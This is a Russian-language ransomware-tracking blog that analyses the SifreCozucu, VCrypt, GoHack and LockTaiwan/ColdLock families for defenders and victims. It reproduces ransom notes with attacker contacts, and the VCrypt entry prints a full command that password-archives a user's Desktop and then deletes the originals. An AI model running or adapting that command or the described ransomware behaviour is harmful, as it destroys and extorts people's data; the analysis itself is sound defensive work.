Шифровальщики-вымогатели The Digest "Crypto-Ransomware"

Шифровальщик (вирус-шантажист). Защита от программ-шифровальщиков. Как удалить вирус-шифровальщик?
Шифровальщики — это вредоносные программы, которые шифруют файлы и требуют выкуп за их расшифровку.
Данный сайт — это ДАЙДЖЕСТ и ПЕРВОИСТОЧНИК информации о шифровальщиках и всевозможных вымогателях.
Авторские статьи, инструкции для пострадавших, рекомендации по защите и профилактике угрозы Ransomware.

вторник, 5 мая 2020 г.

SifreCozucu

SifreCozucu Ransomware

TurkSifre Ransomware

Aliases: B@H}!ER@, Bahtier

(шифровальщик-вымогатель) (первоисточник)
Translation into English

Этот крипто-вымогатель шифрует данные пользователей с помощью AES+RSA, а затем требует выкуп в # BTC, чтобы вернуть файлы. Оригинальное название: в записке не указано. На файле написано: нет данных.

Обнаружения:
DrWeb ->
BitDefender ->
ALYac ->
Avira (no cloud) ->
ESET-NOD32 ->
Malwarebytes ->
Rising ->
Symantec ->
TrendMicro ->
---
To AV vendors! Want to be on this list regularly or be higher on the list? Contact me!
AV вендорам! Хотите быть в этом списке регулярно или повыше? Сообщите мне!

© Генеалогия: ??? >> SifreCozucu > SifreCikis

Изображение — логотип статьи

К зашифрованным файлам добавляется составное расширение:
__Mail_[sifre_cozucu@protonmail.com]__Site_[www.dosyacozd4iprkd7.onion]

Шаблон можно записать так:
__Mail_[<email>]__Site_[www.dosyacozd4iprkd7.onion]
__Mail_[<email>]__Site_[<tor-site>]
__Mail_[<email>]__Site_[<onion-site>]

Этимология названия:
Вымогатели не сообщили название своей программы, значит мы можем использовать то, что есть в расширении или в контактах. Расширение слишком громоздко, а логин одного из email можно использовать. Я взял слова SifreCozucu (на турецком: "şifre çözücü" - это "декодер").

Внимание! Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Там могут быть различия с первоначальным вариантом.

Активность этого крипто-вымогателя пришлась на начало мая 2020 г. Ориентирован на турцкоязычных пользователей, что не мешает распространять его по всему миру.

Записка с требованием выкупа называется: _ONEMLI_LUTFEN_OKUYUNUZ.TXT

Содержание записки о выкупе:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
DOSYA SIFRESINI COZMEK ICIN OKUYUNUZ..
DOSYALARINIZIN SIFRESINI COZECEK PROGRAMI SATIN ALMAK ISTERSENIZ EGER..
PC ID'NIZ [00E04C4122B1] ILE MAIL ATINIZ : sifre_cozucu@protonmail.com
MAIL ADRESIMIZDEN 3 SAAT ICINDE CEVAP ALAMAZSANIZ EGER
WEB SITEMIZI ZIYARET EDINIZ : http://www.dosyacozd4iprkd7.onion
SITE HATA VERIRSE TEKRAR DENEYINIZ..
WEB SITEMIZ SADECE TOR BROWSER ILE ACILMAKTADIR..
TOR BROWSER INDIRME ADRESI : https://www.torproject.org/tr/download
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
DATA KURTARMA SERVISLERI HAKKINDA BILMENIZ GEREKENLER.!!!
SIFRELEME ISLEMI SIRASINDA BILGISAYARINIZDAN SILINEN TEK BIR DOSYA BILE OLMADI..
SIFRELEME SIRASINDA BUTUN DOSYALARIN USTUNE YAZILDI...
YANI BU, GERI DONUSTURULECEK YADA KURTARILACAK BIR DOSYA YOK DEMEKTIR...
DATA KURTARMA SERVISLERI SADECE SILINEN DOSYALARI,
YADA BOZULAN HDD LERDE KI VERILERI KURTARABILIR.
BASITCE SOYLEMEK GEREKIRSE..
DATA KURTARMA SERVISLERININ BU DURUMA YAPABILECEGI BIR SEY YOK...
YINE DE DATA KURTARMA SERVISLERI YADA PROGRAMLARI KULLANMAK ISTERSENIZ
LUTFEN DOSYALARINIZIN YEDEGINI ALIN..
ALDIGINIZ BU YEDEKLER UZERINDEN ISLEM YAPINIZ VEYA YAPTIRINIZ.
DOSYALARINIZI SILMEYINIZ VE ISIMLERINI DEGISTIRMEYINIZ.
ASIL DOSYALARIN BOZULMASI,
VERILERINIZIN GERI DONULEMEZ SEKILDE ZARAR GORMESINE NEDEN OLACAKDIR.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Перевод записки на русский язык:
Прочтите, чтобы расшифровать файлы.
Если вы хотите купить программу, которая расшифрует ваши файлы ..
Пришлите ID вашего PC [***] на почту: sifre_cozucu@protonmail.com
Если вы не получите ответ в течение 3 часов с нашего email,
Посетите наш сайт: http://www.dosyacozd4iprkd7.onion
Если сайт не работает, попробуйте еще раз ..
Наш сайт открывается только в Tor-браузере.
Адрес для загрузки Tor-браузера: https://www.torproject.org/tr/download
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Что нужно знать об услуге восстановления данных. !!!
Во время шифрования не было удалено ни одного файла с вашего компьютера.
Все файлы были перезаписаны зашифрованными ...
Это означает, что файлы невозможно восстановить без расшифровки ...
Служба восстановления восстановит только удаленные файлы,
Или он может восстановить искаженные данные с жестких дисков.
Проще говоря,
С этой ситуацией службы восстановления данных ничего не могут сделать ...
Если вы все еще хотите использовать службы или программы восстановления данных
Пожалуйста, сделайте резервную копию ваших файлов.
Обработайте или делайте это на резервных копиях, которые вы получили.
Не удаляйте свои файлы и не меняйте их имена.
Если будут повреждены файлы,
Это приведет к необратимому повреждению ваших данных.

Другим информатором жертвы выступает сайт в сети tor.

Содержание сайта:
sifreci@protonmail.com
Not : Cok fazla Sikayet oldugu icin Mail Adreslerimiz ara sira kapanabiliyor..
Mailinize 3 saat icinde cevap alamazsaniz eger..
Buradan guncel Mail adresimize yeniden mail atiniz...
Guncelleme : 16:18 - 02.05.2020

Технические детали

Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. См. также "Основные способы распространения криптовымогателей" на вводной странице блога.

Записи реестра, связанные с этим Ransomware:
См. ниже результаты анализов.

Мьютексы:
См. ниже результаты анализов.

Сетевые подключения и связи:
Tor-URL: hxxx://www.dosyacozd4iprkd7.onion
Email: sifre_cozucu@protonmail.com
Email-site: sifreci@protonmail.com
BTC:
См. ниже в обновлениях другие адреса и контакты.
См. ниже результаты анализов.

Результаты анализов:
Ⓗ Hybrid analysis >>
𝚺 VirusTotal analysis >>
🐞 Intezer analysis >>
ᕒ ANY.RUN analysis >>
ⴵ VMRay analysis >>
Ⓥ VirusBay samples >>
⨇ MalShare samples >>
👽 AlienVault analysis >>
🔃 CAPE Sandbox analysis >>
⟲ JOE Sandbox analysis >>

Степень распространённости: низкая.
Подробные сведения собираются регулярно. Присылайте образцы.

=== ИСТОРИЯ СЕМЕЙСТВА === HISTORY OF FAMILY ===

=== БЛОК ОБНОВЛЕНИЙ === BLOCK OF UPDATES ===

Обновление от 27 мая 2020:
Топик на форуме >>
Расширение: .<ID> (12 знаков) или .<PC_ID>
Пример зашифрованного файла: document.doc.0019D1B03EAE
Записка (шаблон): _ONEMLI_LUTFEN_OKUYUNUZ_<ID>.TXT
Записка (пример): _ONEMLI_LUTFEN_OKUYUNUZ_0019D1B03EEA.TXT
Tor-URL: sifrecoz7niiqedf.onion
Email: sifreci@protonmail.com

➤ Содержание записки:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
DOSYA SIFRESINI COZMEK ICIN OKUYUNUZ..
DOSYALARINIZIN SIFRESINI COZECEK PROGRAMI SATIN ALMAK ISTERSENIZ EGER..
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
sifreci@protonmail.com'MAIL ADRESIMIZE KONU KISMINDA PC ID'NIZ [0019D1B03***] OLAN MAIL ATINIZ..
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MAIL ADRESIMIZDEN 3 SAAT ICINDE CEVAP ALAMAZSANIZ EGER
WEB SITEMIZDEN GUNCEL MAIL ADRESIMIZE ULASABILIRSINIZ. : http://www.sifrecoz7niiqedf.onion
SITE HATA VERIRSE TEKRAR DENEYINIZ..
WEB SITEMIZ SADECE TOR BROWSER ILE ACILMAKTADIR..
TOR BROWSER INDIRME ADRESI : https://www.torproject.org/tr/download
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
DATA KURTARMA SERVISLERI YADA PROGRAMLARI KULLANMAK ISTERSENIZ
LUTFEN DOSYALARINIZIN YEDEGINI ALIN..
ALDIGINIZ BU YEDEKLER UZERINDEN ISLEM YAPINIZ VEYA YAPTIRINIZ.
DOSYALARINIZI SILMEYINIZ VE ISIMLERINI DEGISTIRMEYINIZ.
ASIL DOSYALARIN BOZULMASI,
VERILERINIZIN GERI DONULEMEZ SEKILDE ZARAR GORMESINE NEDEN OLACAKDIR.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Обновление от 24 июля 2020:
Пост на форуме >>
Пост в Твиттере >>
Расширение: .<ID> (12 знаков) или .<PC_ID>
Пример зашифрованного файла: LİSTESİ.xlsx.E03F491BEF12
Записка: _ONEMLI_LUTFEN_OKUYUNUZ_E03F491BEF51.txt
Email: dosyacoz9@protonmail.com
Tor-URL: hxxx://www.sifrecozrwwhvz57.onion
➤ Содержание записки:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
DOSYA SIFRESINI COZMEK ICIN OKUYUNUZ..
DOSYALARINIZIN SIFRESINI COZECEK PROGRAMI SATIN ALMAK ISTERSENIZ EGER..
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
dosyacoz9@protonmail.com'MAIL ADRESIMIZE KONU KISMINDA PC ID'NIZ [E03F491BEF12] OLAN MAIL ATINIZ..
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MAIL ADRESIMIZDEN 3 SAAT ICINDE CEVAP ALAMAZSANIZ EGER
WEB SITEMIZDEN GUNCEL MAIL ADRESIMIZE ULASABILIRSINIZ. : http://www.sifrecozrwwhvz57.onion
SITE HATA VERIRSE TEKRAR DENEYINIZ..
WEB SITEMIZ SADECE TOR BROWSER ILE ACILMAKTADIR..
TOR BROWSER INDIRME ADRESI : https://www.torproject.org/tr/download
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
DATA KURTARMA SERVISLERI YADA PROGRAMLARI KULLANMAK ISTERSENIZ
LUTFEN DOSYALARINIZIN YEDEGINI ALIN..
ALDIGINIZ BU YEDEKLER UZERINDEN ISLEM YAPINIZ VEYA YAPTIRINIZ.
DOSYALARINIZI SILMEYINIZ VE ISIMLERINI DEGISTIRMEYINIZ.
ASIL DOSYALARIN BOZULMASI,
VERILERINIZIN GERI DONULEMEZ SEKILDE ZARAR GORMESINE NEDEN OLACAKDIR.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Обновление от 10 нобря 2020:

Новая или модифицированная версия - SifreCikis Ransomware >>
По-прежнему нет образцов вредоносных файлов, чтобы подтвердить родство.

Вариант от 30 января 2021:

Tor-URL: hxxx://www.sifrecozrwwhvz57.onion

Записка: _SIFRE_COZME_ONEMLI_04D4C4211518.TXT

➤ Содержание записки:

DOSYALARINIZ SIFRELENDI....

DOSYALARINIZIN SIFRESINI COZMEK ICIN.

<their mail adress> MAIL ADRESIMIZE

KONU KISMINDA PC ID'NIZ [<my pc ID>] OLAN MAIL ATINIZ..

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PROGRAM UCRETI : 1000 $

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

MAIL ADRESIMIZDEN 3 SAAT ICINDE CEVAP ALAMAZSANIZ EGER

WEB SITEMIZDEN GUNCEL MAIL ADRESIMIZE ULASABILIRSINIZ. : http://www.sifrecozrwwhvz57.onion

WEB SITEMIZ SADECE TOR BROWSER ILE ACILMAKTADIR..

TOR BROWSER INDIRME ADRESI : https://www.torproject.org/tr/download

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

DATA KURTARMA SERVISLERI YADA PROGRAMLARI KULLANMAK ISTERSENIZ

LUTFEN DOSYALARINIZIN YEDEGINI ALIN..

ALDIGINIZ BU YEDEKLER UZERINDEN ISLEM YAPINIZ VEYA YAPTIRINIZ.

DOSYALARINIZI SILMEYINIZ VE ISIMLERINI DEGISTIRMEYINIZ.

ASIL DOSYALARIN BOZULMASI,

VERILERINIZIN GERI DONULEMEZ SEKILDE ZARAR GORMESINE NEDEN OLACAKDIR.

=== БЛОК ССЫЛОК и СПАСИБОК = BLOCK OF LINKS AND THANKS ===

 Read to links: 
 Tweet on Twitter: myTweet
 ID Ransomware (ID as SifreCozucu)
 Write-up, Topic of Support
 *

 Thanks: 
 Andrew Ivanov (author), Michael Gillespie
 quietman7
 ***
 to the victims who sent the samples

понедельник, 4 мая 2020 г.

VCrypt

VCrypt Ransomware

(шифровальщик-вымогатель, 7zip-вымогатель, стиратель) (первоисточник)

Translation into English

Этот крипто-вымогатель блокирует данные пользователей, а затем требует выкуп в # BTC, чтобы вернуть файлы. Оригинальное название: VCrypt. На файле написано: Video driver. Для запирания файлов используются возможности архиватора 7-Zip, в их числе шифрование AES-256 и парольная защита.

Обнаружения:
DrWeb -> Trojan.PWS.Siggen2.48349
BitDefender -> Trojan.GenericKD.33780716
ALYac -> Trojan.Ransom.vCrypt
ESET-NOD32 -> A Variant Of Win32/Filecoder.NTG
Malwarebytes -> Ransom.VCrypt
Rising -> Trojan.Filecoder!8.68 (CLOUD)
Symantec -> ML.Attribute.HighConfidence
Tencent -> Win32.Trojan.Filecoder.Wofv
TrendMicro -> TROJ_FRS.VSNTE520
---
To AV vendors! Want to be on this list regularly or be higher on the list? Contact me!
AV вендорам! Хотите быть в этом списке регулярно или повыше? Сообщите мне!

© Генеалогия: другие 7zip-вымогатели >> VCrypt

Изображение — логотип статьи

К заблокированным в архиве файлам добавляется расширение: .vcrypt

Внимание! Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Там могут быть различия с первоначальным вариантом.

Активность этого крипто-вымогателя пришлась на начало/середину марта 2020 г. Ориентирован на французских и франкоязычных пользователей, что не мешает распространять его по всему миру.

Записка с требованием выкупа называется: help.html

Содержание записки о выкупе:
Oooopppssss...
Q: Qu'ai t'il arrivé à mes fichiers ?
A: Tous vos fichiers ont étés chiffrés et placés dans une zone de sécurité.
Q: Comment récupérez mes documents !! ?
A: Suivez les instructions disponibles via cette page web. Si la page ne s'ouvre pas, veuillez vérifier votre connexion internet.

Перевод записки на русский язык:
Уууупппсссс...
В: Что случилось с моими файлами?
A: Все ваши файлы зашифрованы и помещены в зону безопасности.
Q: Как восстановить мои документы !! ?
A: Следуйте инструкциям, доступным на этом веб-сайте. Если сайт не открывается, проверьте интернет-подключение.

---
Сайт, указанный в записке уже не доступен.

Технические детали

Нужно всегда использовать Актуальную антивирусную защиту!!!
Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1.

➤ Фактически файлы не шифруются, а только помещаются в архив. Например, в папке Documents (Документы) будут удалены все файлы, а на их месте будет создан файл User_documents.vcrypt

Расширение .vcrypt является фиктивным, т.к. на самом деле это 7zip-архив, защищенный паролем. В доступном образце использовался 38-значный архив "Oezfdse6f5esf413s5fd4e6fSQ45R424EDDEZS".

Вот пример команды, используемой для создания защищенного паролем архива папки Desktop (Рабочий стол) с паролем "Oezfdse6f5esf413s5fd4e6fSQ45R424EDDEZS" и последующего удаления содержимого этой папки:
if exist "%USERPROFILE%\Desktop\" for /F %i in ('dir /b "%USERPROFILE%\Desktop\*.*"') do "%TEMP%\mod_01.exe" a -t7z -r -mx0 -pOezfdse6f5esf413s5fd4e6fSQ45R424EDDEZS "%USERPROFILE%\%username%_desktop.vcrypt" "%USERPROFILE%\Desktop\*" & del /f /s /q "%USERPROFILE%\Desktop\" & FOR /D %p IN ("%USERPROFILE%\Desktop\*") do rmdir "%p" /s /q➤ Для других логических дисков VCrypt действует как стиратель, т.к. он не архивирует какие-либо файлы перед их удалением. Уплата выкупа для их восстановления бесполезна!

Список файловых расширений, подвергающихся блокироке:
Все типы файлов.
Это наверняка будут документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр.

Файлы, связанные с этим Ransomware:
help.html - название файла с требованием выкупа
7za.exe
mod_01.exe
video_driver.exe
new_background.bmp
<random>.exe - случайное название вредоносного файла

Расположения:
%USERPROFILE%\help.html
%USERPROFILE%\new_background.bmp

Целевые директории:
%USERPROFILE%\Desktop
%USERPROFILE%\Downloads
%USERPROFILE%\Pictures
%USERPROFILE%\Music
%USERPROFILE%\Videos
%USERPROFILE%\Documents
%PUBLIC%\Desktop
%PUBLIC%\Downloads
%PUBLIC%\Pictures
%PUBLIC%\Music
%PUBLIC%\Videos
%PUBLIC%\Documents

Записи реестра, связанные с этим Ransomware:
См. ниже результаты анализов.

Мьютексы:
См. ниже результаты анализов.

Сетевые подключения и связи:
URL: xxxx://gisele.liroy.free.fr/bitmap/
Email:
BTC:
См. ниже в обновлениях другие адреса и контакты.
См. ниже результаты анализов.

Результаты анализов:
Ⓗ Hybrid analysis (VCrypt) >>
Ⓗ Hybrid analysis (7za.exe) >>
𝚺 VirusTotal analysis (VCrypt) >>
𝚺 VirusTotal analysis (7za.exe) >>
🐞 Intezer analysis >>
ᕒ ANY.RUN analysis >>
ⴵ VMRay analysis >>
Ⓥ VirusBay samples >>
⨇ MalShare samples >>
👽 AlienVault analysis >>
🔃 CAPE Sandbox analysis >>
⟲ JOE Sandbox analysis >>

Степень распространённости: низкая.
Подробные сведения собираются регулярно. Присылайте образцы.

=== ИСТОРИЯ СЕМЕЙСТВА === HISTORY OF FAMILY ===

=== БЛОК ОБНОВЛЕНИЙ === BLOCK OF UPDATES ===

Ещё не было обновлений этого варианта.

=== БЛОК ССЫЛОК и СПАСИБОК = BLOCK OF LINKS AND THANKS ===

 Read to links: 
 Tweet on Twitter + Tweet + myTweet
 ID Ransomware (ID as VCrypt)
 Write-up, Topic of Support
 *

 Thanks: 
 Michael Gillespie, Lawrence Abrams
 Andrew Ivanov (author), GrujaRS
 ***
 to the victims who sent the samples

воскресенье, 3 мая 2020 г.

GoHack

GoHack Ransomware

GoRansom Ransomware

(шифровальщик-вымогатель) (первоисточник)
Translation into English

Этот крипто-вымогатель шифрует данные пользователей с помощью AES+RSA, а затем требует выкуп в # BTC, чтобы вернуть файлы. Оригинальное название: в записке не указано. На файле написано: run.exe, test.exe.

Обнаружения:
DrWeb -> Trojan.Encoder.31738
BitDefender -> Trojan.GenericKD.33777750
ALYac -> Trojan.Ransom.GoRansom
Avira (no cloud) -> TR/Encoder.ohxws
ESET-NOD32 -> A Variant Of Win64/Filecoder.GoRansom.A
Malwarebytes -> Trojan.Dropper.GO
Rising -> Ransom.Encoder!8.FFD4 (CLOUD)
Symantec -> Trojan.Gen.2
TrendMicro -> Ransom_Encoder.R002C0WE820
---
To AV vendors! Want to be on this list regularly or be higher on the list? Contact me!
AV вендорам! Хотите быть в этом списке регулярно или повыше? Сообщите мне!

© Генеалогия: другие Go-вымогатели >> GoHack

Изображение — логотип статьи

К зашифрованным файлам добавляется расширение: .HaCk

Внимание! Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Там могут быть различия с первоначальным вариантом.

Активность этого крипто-вымогателя пришлась на начало мая 2020 г. Ориентирован на испаноязычных пользователей, что не мешает распространять его по всему миру.

Записка с требованием выкупа называется: LEEME.txt

Содержание записки о выкупе:
Todos tus archivos han sido encriptados con un Ransomware.
No te preocupes que no has perdido tus archivos aun.
Solicita la clave de descifrado a la persona que te suministro este archivo.

Перевод записки на русский язык:
Все ваши файлы были зашифрованы с помощью Ransomware.
Не волнуйтесь, вы еще не потеряли свои файлы.
Запросите ключ дешифрования у того, кто предоставил вам этот файл.

Технические детали

Нужно всегда использовать Актуальную антивирусную защиту!!!
Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1.

Список файловых расширений, подвергающихся шифрованию:
Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр.

Файлы, связанные с этим Ransomware:
LEEME.txt - название файла с требованием выкупа
<random>.exe - случайное название вредоносного файла
test.exe
run.exe

Расположения:
\Desktop\ ->
\User_folders\ ->
\%TEMP%\ ->
\Desktop\test.exe
C:\Windows\system32\cscript C:\Users\<USER>\AppData\Local\Temp\9775.tmp\97B4.tmp\97B5.vbs //Nologo
C:\Users\<USER>\AppData\Roaming\run.exe

Записи реестра, связанные с этим Ransomware:
См. ниже результаты анализов.

Мьютексы:
См. ниже результаты анализов.

Сетевые подключения и связи:
URL: get.get-now.live
xxxx://get.get-now.live/go.exe
Email:
BTC:
См. ниже в обновлениях другие адреса и контакты.
См. ниже результаты анализов.

Результаты анализов:
🔻 Triage analysis >>
Ⓗ Hybrid analysis >>
𝚺 VirusTotal analysis >>
🐞 Intezer analysis >>
ᕒ ANY.RUN analysis >>
ⴵ VMRay analysis >>
Ⓥ VirusBay samples >>
⨇ MalShare samples >>
👽 AlienVault analysis >>
🔃 CAPE Sandbox analysis >>
⟲ JOE Sandbox analysis >>

Степень распространённости: низкая.
Подробные сведения собираются регулярно. Присылайте образцы.

=== ИСТОРИЯ СЕМЕЙСТВА === HISTORY OF FAMILY ===

=== БЛОК ОБНОВЛЕНИЙ === BLOCK OF UPDATES ===

Ещё не было обновлений этого варианта.

=== БЛОК ССЫЛОК и СПАСИБОК = BLOCK OF LINKS AND THANKS ===

 Read to links: 
 Tweet on Twitter + Tweet + myTweet
 ID Ransomware (ID as ***)
 Write-up, Topic of Support
 *

 Thanks: 
 dnwls0719
 Andrew Ivanov (author)
 ***
 to the victims who sent the samples

LockTaiwan, ColdLock

LockTaiwan Ransomware

ColdLock Ransomware

CPC Ransomware

(шифровальщик-вымогатель) (первоисточник)
Translation into English

Этот крипто-вымогатель шифрует данные бизнес-пользователей и компаний с помощью AES (режим CBC) + RSA, а затем требует выкуп в # BTC, чтобы вернуть файлы. Оригинальное название: в записке не указано. На файле написано: нет данных.

Обнаружения:
DrWeb -> Trojan.Siggen9.44718
BitDefender -> Trojan.GenericKD.43102355
ALYac -> Trojan.Ransom.ColdLock
Avira (no cloud) -> TR/Agent.esq
ESET-NOD32 -> MSIL/Filecoder.ZP
Kaspersky -> HEUR:Trojan-Ransom.MSIL.Agent.gen
Microsoft -> Ransom:MSIL/Filecoder!MSR
Symantec -> Trojan Horse
TrendMicro -> Ransom.MSIL.COLDLOCK.YPAE-A, Ransom.PS1.COLDLOCK.YPAE-A
---
To AV vendors! Want to be on this list regularly or be higher on the list? Contact me!
AV вендорам! Хотите быть в этом списке регулярно или повыше? Сообщите мне!

© Генеалогия: LockerGoga + другие >> LockTaiwan, ColdLock

Изображение — логотип статьи

К зашифрованным файлам добавляется расширение: .locked

Внимание! Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Там могут быть различия с первоначальным вариантом.

Активность этого крипто-вымогателя пришлась на начало мая 2020 г. Ориентирован на англоязычных пользователей, что не мешает распространять его по всему миру. На момент написания статьи было известно только о пострадавших компаниях в Тайване.

Записка с требованием выкупа называется: How To Unlock Files.txt

Содержание записки о выкупе:
!!! ALL YOUR FILES ARE ENCRYPTED !!!
Your files are encrypted by RSA 2048, you are not able to decrypt it by yourself!
Told your CEO/CTO or whoever in charge write us email to restore your files.
WE WILL ONLY KEEP YOUR SECRET KEY FOR 5 DAYS, SO DON'T PULL TIME, WAITING YOUR EMAIL.
Email address: fedoremelianenko1976@protonmail.com
Reserved email: fedoremelianenko@tutanota.com
Your personal ID:
aiLiyzPnb/NIJUac3BJ7pRl/O/XsmEfun*** [всего 344 знаков]

Перевод записки на русский язык:
!!! ВСЕ Ваши файлы зашифрованы !!!
Ваши файлы зашифрованы RSA 2048, вы не можете расшифровать их самостоятельно!
Сообщите своему генеральному директору / техническому директору или тому, кто отвечает, напишите нам письмо, чтобы восстановить ваши файлы.
ТОЛЬКО МЫ СОХРАНИМ ВАШ СЕКРЕТНЫЙ КЛЮЧ НА 5 ДНЕЙ, ТАК ЧТО НЕ ТЯНИТЕ ВРЕМЯ, ОЖИДАЯ ВАШ EMAIL.
Адрес email: fedoremelianenko1976@protonmail.com
Резервный email: fedoremelianenko@tutanota.com
Ваш личный ID:
aiLiyzPnb/NIJUac3BJ7pRl/O/XsmEfun*** [всего 344 знаков]

Дополнительным информатором жертвы выступает изображение, заменяющее обои Рабочего стола:

Более того, некоторые пострадавшие тайваньские компании получили короткое сообщение без контактных данных.

Технические детали

Нужно всегда использовать Актуальную антивирусную защиту!!!
Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1.

➤ LockTaiwan содержит два способа защиты от повторного шифрования файлов.
1 способ — проверяется наличие специального файла readme.tmp в директории %System Root%\ProgramData\, который используется запиской с требованием выкупа.

2 способ — проверяется системное время. Шифровальщик будет работать только в 12:10 или позже в любой день; если он наступит раньше, он будет спать в течение 15 секунд, пока не истечет указанное время.

➤ Перед шифрованием останавливает некоторые службы, чтобы шифровать их файлы
mariadb
msexchangeis
mssql
mysql
oracleservice

Также завершает процесс Outlook и проверяет версию Windows. Если он работает под управлением Windows 10, он выполняет несколько специфических для Windows 10 подпрограмм. Отключаются защитник Windows, push-уведомления и отправка отзывов / образцов вредоносных программ в Microsoft.

➤ Подробности шифрования:
Для шифрования используется AES в режиме CBC. Он генерирует необходимый ключ и вектор инициализации (IV) с использованием соли и секретного ключа; первый встраивается в код, а второй генерируется динамически с использованием хэша SHA-256 случайно сгенерированной строки длиной 32 байта. Затем он шифруется с использованием жестко закодированного открытого ключа RSA и затем включается в записку с требованием выкупа. Зашифрованные файлы получают расширение .locked

Список файловых расширений, подвергающихся шифрованию:
.7z, .aspx, .bak, .cpp, .csv, .doc, .docx, .gz, .hwp, .java, .jpg, .jsp, .lnk, .odt, .one, .php, .ppt, .pptx, .pst, .rar, .sh, .sql, .txt, .xls, .xlsx, .xml, .zip
Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр.

Видимо пропускаются следующие типы файлов:
.avi, .dll, .gif, .iso, .m2ts, .mkv, .mov, .mp3, .msi, .ocx, .tmp, .wmv

Используются следующие условия, чтобы не шифровать файлы:
- количество файлов в целевом каталоге должно быть меньше 100;
- время последних изменений в каталоге должно быть новее 1 января 2018 года.

Пропускаются следующие папки:
%System Root%\Program Files
%System Root%\Program Files (x86)
%System Root%\ProgramData
%System Root%\Users\All users
%System Root%\Users\Default
{папка вредоноса}
{Drive}:\System Volume Information
{Drive}:\$Recycle.bin

Пропускаются файлы в папках, в названии которых есть следующие слова:
.git
appdata
cache
image
lib
log
logs
microsoft
reference
res
resource
script
setup
skin
temp
theme
third_party
thirdparty

Файлы, связанные с этим Ransomware:
How To Unlock Files.txt - название файла с требованием выкупа
<random>.exe - случайное название вредоносного файла
LE.dll {EXE} - основной вредоносный файл / для запуска файла LE.dll используется PowerShell
readme.tmp - специальный файл, который используется запиской с требованием выкупа

Расположения:
\Desktop\ ->
\User_folders\ ->
\%TEMP%\ ->
C:\How To Unlock Files.txt
%System Root%\ProgramData\readme.tmp
%Desktop%\How To Unlock Files.Txt
%User Startup%\How To Unlock Files.Txt
{Encrypted Drive}:\How To Unlock Files.Txt

Записи реестра, связанные с этим Ransomware:
См. ниже результаты анализов.

Мьютексы:
См. ниже результаты анализов.

О пострадавших компаниях:

Видимо, одной из пострадавший компаний является CPC Corp. (Тайвань).

Сетевые подключения и связи:
Email: fedoremelianenko1976@protonmail.com
fedoremelianenko@tutanota.com
BTC:
См. ниже в обновлениях другие адреса и контакты.
См. ниже результаты анализов.

Результаты анализов:
🔻 Triage analysis >>
Ⓗ Hybrid analysis >>
𝚺 VirusTotal analysis >>
🐞 Intezer analysis >> IA>
ᕒ ANY.RUN analysis >> AR>
ⴵ VMRay analysis >>
Ⓥ VirusBay samples >>
⨇ MalShare samples >>
👽 AlienVault analysis >>
🔃 CAPE Sandbox analysis >>
⟲ JOE Sandbox analysis >>

Степень распространённости: низкая.
Подробные сведения собираются регулярно. Присылайте образцы.

=== ИСТОРИЯ СЕМЕЙСТВА === HISTORY OF FAMILY ===

=== БЛОК ОБНОВЛЕНИЙ === BLOCK OF UPDATES ===

Ещё не было обновлений этого варианта.

=== БЛОК ССЫЛОК и СПАСИБОК = BLOCK OF LINKS AND THANKS ===

 Read to links: 
 Tweet on Twitter + Tweet + myTweet
 ID Ransomware (ID as LockTaiwan)
 Write-up, Topic of Support
 *

 Thanks: 
 MalwareHunterTeam, Michael Gillespie
 Andrew Ivanov (author)
 Trend Micro
 to the victims who sent the samples

Шифровальщики-вымогатели The Digest "Crypto-Ransomware"

вторник, 5 мая 2020 г.

SifreCozucu

SifreCozucu Ransomware

TurkSifre Ransomware

Aliases: B@H}!ER@, Bahtier

(шифровальщик-вымогатель) (первоисточник)
Translation into English

понедельник, 4 мая 2020 г.

VCrypt

VCrypt Ransomware

(шифровальщик-вымогатель, 7zip-вымогатель, стиратель) (первоисточник)

Translation into English

воскресенье, 3 мая 2020 г.

GoHack

GoHack Ransomware

GoRansom Ransomware

(шифровальщик-вымогатель) (первоисточник)
Translation into English

LockTaiwan, ColdLock

LockTaiwan Ransomware

ColdLock Ransomware

CPC Ransomware

